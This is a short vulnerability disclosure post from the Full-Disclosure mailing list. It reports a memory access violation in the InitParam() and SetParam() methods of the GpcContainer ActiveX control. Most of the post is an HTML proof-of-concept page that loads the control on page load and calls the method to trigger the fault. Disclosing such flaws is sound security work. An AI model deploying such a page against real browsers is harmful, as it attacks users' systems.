There is a memory access violation in the InitParam() and SetParam() functions. PoC as follows:
<!–
Written by e.b.
–>
<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var obj = new ActiveXObject("GpcContainer.GpcContainer.1");
obj.InitOaram("A");
}
</script>
</head>
<body onLoad="JavaScript: return Check();">
</body>
Elazar
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/